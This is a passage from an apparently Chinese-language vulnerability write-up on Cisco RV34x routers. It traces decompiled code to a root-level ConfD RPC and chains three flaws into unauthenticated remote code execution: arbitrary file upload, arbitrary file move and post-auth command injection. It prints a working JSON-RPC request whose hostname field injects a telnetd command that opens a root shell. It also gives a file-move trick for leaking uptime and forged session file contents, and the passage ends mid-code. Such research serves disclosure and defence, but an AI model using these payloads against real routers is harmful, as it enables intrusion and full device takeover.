inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">jmaapi_action</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a1, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a2, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a3, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a4, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a5)</span><br/></span>{<br/>  ...<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> mctx_rpc(s, a3, a4, a5);<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">跟进去<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">mctx_rpc</code>函数，可以看到它调用了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">maapi_request_action_str_th</code>函数去向<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ConfD</code>发起请求，执行<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc</code>调用。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">mctx_rpc</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> *a1, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a2, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a3, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a4)</span><br/></span>{<br/>  ...<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">while</span> ( v9 )<br/>  {<br/>    .<br/>    ...<br/>    v5 = maapi_request_action_str_th(sock, thandle, (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>)&amp;output, v15, v10);<br/>    ...<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( output )<br/>      {<br/>        mctx_rpc_cli((<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>)a1, (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *)output, a3, a4);<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">free</span>(output);<br/>      }<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !json_object_object_length(a4) )<br/>      {<br/>        v16 = json_object_new_int(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/>        json_object_object_add(a4, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;code&#34;</span>, v16);<br/>        v17 = json_object_new_string(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Success&#34;</span>);<br/>        json_object_object_add(a4, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;errstr&#34;</span>, v17);<br/>      }<br/>    }<br/>  }<br/>  StrBufFree(&amp;v27);<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> v5;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">maapi_request_action_str_th</code>函数的官方手册的说明如下，正是由该函数最终发送<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc</code>请求去触发<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/usr/bin/update-clients</code>的，调用的传递的参数要符合<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">yang</code>模型中的定义。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">maapi_request_action_str_th</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> sock, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> thandle, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> **output,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *cmd_fmt, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *path_fmt, ...)</span></span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">/*Does the same thing as maapi_request_action_th(), but takes the parameters as a string and<br/>returns the result as a string. The library allocates memory for the result string, and the caller is responsible<br/>for freeing it. This can in all cases be done with code like this:<br/>*/</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *output = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> (maapi_request_action_str_th(sock, th, &amp;output,<br/> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;test reverse listint [ 1 2 3 4 ]&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;/path/to/action&#34;</span>) == CONFD_OK) {<br/> ...<br/> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">free</span>(output);<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">跟到这里就算结束了，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ConfD</code>里面的实现就不继续跟踪了，具体的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ConfD</code>的说明还是建议简要把官方手册的关键章节看看，对进一步掌握框架由很好的帮助。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">值得一提的是因为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">ConfD</code>是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">root</code>权限，所以<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/usr/bin/update-clients</code>最终执行的时候也是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">root</code>权限，因此利用这个漏洞拿到的权限也是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">root</code>，比之前在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">cgi</code>中拿到的权限要高。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">认证后命令注入的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">post</code>包如下所示：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">POST /jsonrpc HTTP/1.1<br/>Host: 127.0.0.1:8080<br/>Accept: application/json, text/plain, */*<br/>Content-Length: 350<br/>Connection: close<br/>Cookie: selected_language=English; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; session_timeout=false; sessionid=138b633ddd844b81a8ea48a149819f645fbe31fb64a1bd7cc0072f3d14420da0; current-page=WAN_Settings<br/>{<br/>  &#34;jsonrpc&#34;:&#34;2.0&#34;,<br/>  &#34;method&#34;:&#34;action&#34;,<br/>  &#34;params&#34;:{<br/>    &#34;rpc&#34;:&#34;update-clients&#34;,<br/>    &#34;input&#34;:{<br/>      &#34;clients&#34;: [<br/>        {<br/>          &#34;hostname&#34;: &#34;hostname$(/usr/sbin/telnetd -l /bin/sh -p 2306)&#34;,<br/>          &#34;mac&#34;: &#34;64:d1:a3:4f:be:e1&#34;,<br/>          &#34;device-type&#34;: &#34;client&#34;,<br/>          &#34;os-type&#34;: &#34;windows&#34;<br/>        }<br/>      ]<br/>    }<br/>  }<br/>}<br/></span></code></pre><h2 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">漏洞利用</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">上面一节中把三个漏洞的细节都描述了一遍，本节中我们将尝试将三个漏洞结合起来实现无条件<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RCE</code>的利用。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">先回顾下三个漏洞的作用：</p><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>任意文件上传漏洞：可以实现上传任意文件到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload</code>目录中，文件名是可以预测的，是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">0000000000</code>的数字递增；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>任意文件移动漏洞：可以实现将文件系统中任意文件移动至<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www</code>目录下；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">认证后命令执行漏洞：简单粗暴的认证后命令注入。</span></p></li></ul><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">利用这三个漏洞的结合可以总结为：</p><ol style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>利用任意文件上传漏洞上传伪造的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload</code>目录下；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>利用任意文件移动漏洞将伪造的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>移动至<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp</code>目录下，实现有效<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>的伪造；</p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>基于有效<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>，利用认证后命令执行漏洞拿到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">root</code>权限；</p></li></ol><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">下面一步一步进行解释。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">第一步伪造<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>，先说明下<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">RV34x</code>中的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>构成，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>存储在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/websession</code>目录下</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">/tmp <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># ls websession/</span><br/>session  token<br/>/tmp <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># cat websession/session</span><br/>{<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;max-count&#34;</span>:1,<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;cisco&#34;</span>:{<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8&#34;</span>:{<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;user&#34;</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;cisco&#34;</span>,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;group&#34;</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;admin&#34;</span>,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;time&#34;</span>:2433831,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;access&#34;</span>:1,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;timeout&#34;</span>:1800,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;leasetime&#34;</span>:13118911<br/>    }<br/>  }<br/>}<br/>/tmp <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># ls websession/token/</span><br/>dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8<br/>/tmp <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># cat websession/token/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8</span><br/>/tmp <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">#</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到整个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>的构成包含两个部分，一部分是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/websession/session</code>文件中包含登录的用户信息，信息中存储了用户名、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session id</code>、用户组、超时时间等；另一部分则是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/websession/token/</code>目录下有<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sessionid</code>对应的文件，文件内容为空。因此要构造的是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>文件内容，以及空的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sessionid</code>所对应的文件。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">先利用任意文件漏洞漏洞上传上面两个文件，一个内容如下，另一个内容随意。要提一句的是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>文件中<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">time</code>的构造是系统启动的时间，可以用任意文件移动漏洞执行<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">mv /proc/uptime /tmp/www/login.html</code>，然后访问<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">login.html</code>来泄漏时间戳。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">{<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;max-count&#34;</span>:1,<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;cisco&#34;</span>:{<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8&#34;</span>:{<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;user&#34;</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;cisco&#34;</span>,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;group&#34;</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;admin&#34;</span>,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;time&#34;</span>:2433831,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;access&#34;</span>:1,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;timeout&#34;</span>:1800,<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit 